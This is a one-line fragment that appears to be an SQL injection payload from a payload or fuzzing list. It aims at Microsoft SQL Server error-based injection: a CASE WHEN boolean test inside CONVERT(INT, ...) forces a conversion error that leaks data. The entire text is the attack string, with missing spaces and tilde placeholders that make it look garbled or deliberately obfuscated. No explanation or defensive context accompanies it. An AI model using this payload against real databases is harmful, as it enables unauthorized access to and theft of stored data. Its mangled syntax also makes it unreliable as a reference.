1,(SELECT8077WHERE8077=CONVERT(INT,(SELECT~+(SELECT(CASEWHEN(8077=8077)THEN1ELSE0END))+~))) 1